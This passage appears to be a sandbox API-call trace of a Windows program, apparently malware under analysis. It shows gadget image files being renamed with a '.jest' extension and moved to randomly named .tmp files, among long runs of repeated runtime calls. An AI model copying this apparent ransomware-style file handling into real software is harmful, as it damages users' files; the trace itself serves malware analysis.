pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5f6e3151, cFileName="pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.074] GetLastError () returned 0x2 [0128.074] GetLastError () returned 0x2 [0128.074] SetLastError (dwErrCode=0x2) [0128.074] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.074] CoFreeUnusedLibraries () [0128.074] GetTickCount () returned 0x1152730 [0128.074] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.074] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.074] GetTickCount () returned 0x1152730 [0128.074] IsWindowVisible (hWnd=0x30268) returned 0 [0128.074] Sleep (dwMilliseconds=0x0) [0128.076] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\31.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\31.png.jest")) returned 0 [0128.078] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png", lpFilePart=0x18e6d8*="31.png") returned 0x4b [0128.078] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2225e4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2225e4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x57, dwReserved1=0x0, cFileName="31.png", cAlternateFileName="")) returned 0x143ce48 [0128.079] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.080] VarBstrFromR4 (in: fltIn=0x479445f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.91") returned 0x0 [0128.080] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.081] CoFreeUnusedLibraries () [0128.081] GetTickCount () returned 0x1152730 [0128.081] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.081] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.081] GetTickCount () returned 0x1152730 [0128.081] IsWindowVisible (hWnd=0x30268) returned 0 [0128.081] Sleep (dwMilliseconds=0x0) [0128.082] GetFullPathNameA (in: lpFileName="X4nHaBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X4nHaBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp", lpFilePart=0x18e708*="X4nHaBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp") returned 0x8e [0128.082] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png", lpFilePart=0x18e708*="31.png") returned 0x4b [0128.082] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\31.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X4nHaBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x4nhabvwg8sid8kr069_royy4cgmc4bhjnmo 9ar-eo1jbx5hopvy-g9enp6mf dzrc kwqbq_u7ofo0xcdsf7jze8_zo 5klplo.tmp")) returned 0 [0128.085] GetLastError () returned 0x5 [0128.085] GetLastError () returned 0x5 [0128.085] SetLastError (dwErrCode=0x5) [0128.085] GetLastError () returned 0x5 [0128.085] SetLastError (dwErrCode=0x5) [0128.085] GetLastError () returned 0x5 [0128.085] SetLastError (dwErrCode=0x5) [0128.085] GetFullPathNameA (in: lpFileName="X4nHaBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X4nHaBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp", lpFilePart=0x18e6e4*="X4nHaBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp") returned 0x8e [0128.085] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X4nHaBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x486e3458, cFileName="aBVwG8Sid8kr069_rOyy4CGMc4bhJnmO 9aR-Eo1jBX5hopvy-g9eNp6MF DZRc kWQbq_U7ofo0xCdsf7Jze8_ZO 5KlPLO.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.085] GetLastError () returned 0x2 [0128.085] GetLastError () returned 0x2 [0128.085] SetLastError (dwErrCode=0x2) [0128.086] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0128.086] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.086] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.086] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.086] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.086] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.086] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.086] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0128.087] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.087] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.087] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.087] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.087] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.087] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.087] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0128.087] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.087] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.088] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0128.088] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.088] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.089] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.089] CoFreeUnusedLibraries () [0128.089] GetTickCount () returned 0x1152740 [0128.089] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.089] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.089] GetTickCount () returned 0x1152740 [0128.089] IsWindowVisible (hWnd=0x30268) returned 0 [0128.089] Sleep (dwMilliseconds=0x0) [0128.090] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\40.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\40.png.jest")) returned 0 [0128.092] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png", lpFilePart=0x18e6d8*="40.png") returned 0x4b [0128.092] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\40.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc32cf7d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc32cf7d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7ca65c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1874, dwReserved0=0x57, dwReserved1=0x0, cFileName="40.png", cAlternateFileName="")) returned 0x143ce48 [0128.093] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.095] VarBstrFromR4 (in: fltIn=0x479445f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.93") returned 0x0 [0128.095] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0128.095] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0128.095] GetUserDefaultLCID () returned 0x409 [0128.095] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.096] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.096] CoFreeUnusedLibraries () [0128.096] GetTickCount () returned 0x1152740 [0128.096] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.096] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.096] GetTickCount () returned 0x1152740 [0128.096] IsWindowVisible (hWnd=0x30268) returned 0 [0128.096] Sleep (dwMilliseconds=0x0) [0128.098] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.098] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.099] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.100] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.101] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.102] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.103] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.104] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.105] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) 